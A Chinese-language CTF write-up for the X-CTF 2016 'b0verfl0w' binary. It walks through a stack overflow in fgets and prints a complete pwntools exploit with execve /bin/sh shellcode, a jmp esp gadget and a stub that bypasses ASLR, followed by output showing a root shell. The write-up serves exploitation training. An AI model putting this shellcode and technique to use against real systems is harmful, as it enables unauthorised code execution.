这个题是开启aslr的,所以echo 2 >/proc/sys/kernel/randomize_va_space

ida打开发现栈溢出,offset为0x20+4 = 36

signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);			//这里是一个明显的栈溢出
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

checksec

>>> from pwn import *
>>> print ELF('b0verfl0w').checksec()
[*] '/root/sploitfun/xctf2016/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

系统开启了ASLR,因此栈地址是随机的,我们无法预测。解决办法是利用相对地址即可

leave和ret含义如下

leave:mov esp,ebp;
  pop ebp;

ret :  pop eip

可知,当执行到ret的时候,esp刚好指向ret地址的下一个地址;而当我们找到如jmp esp的gadget并覆盖到return addr地址时,就可以跳到下一个地址去执行这个gadget地址后面的指令。

通过ROPgadget --binary b0verfl0w | grep 'jmp esp'找到jump esp (由于运行完shellcode之后不用再继续往下运行,所以带不带ret都行)

0x08048502 : and al, 0xc3 ; jmp esp
0x08048501 : in al, dx ; and al, 0xc3 ; jmp esp
0x080484ff : in eax, 0x83 ; in al, dx ; and al, 0xc3 ; jmp esp
0x08048504 : jmp esp

最终的exp

from pwn import *

sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"  # 21byte

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')      #把esp指针减0x28,并跳转到esp中(运用相对的地址绕过了aslr)
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp   #offset = 36
sh.sendline(payload)
sh.interactive()

运行结果

python exp.py 
[+] Starting local process './b0verfl0w': pid 28600
[*] Switching to interactive mode

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello 1慎酫h//shh/bin\x89惆
                           蛝bbbbbbbbbbbbbbb\x04\x85\x0\x83
.$                                                        id
uid=0(root) gid=0(root) groups=0(root)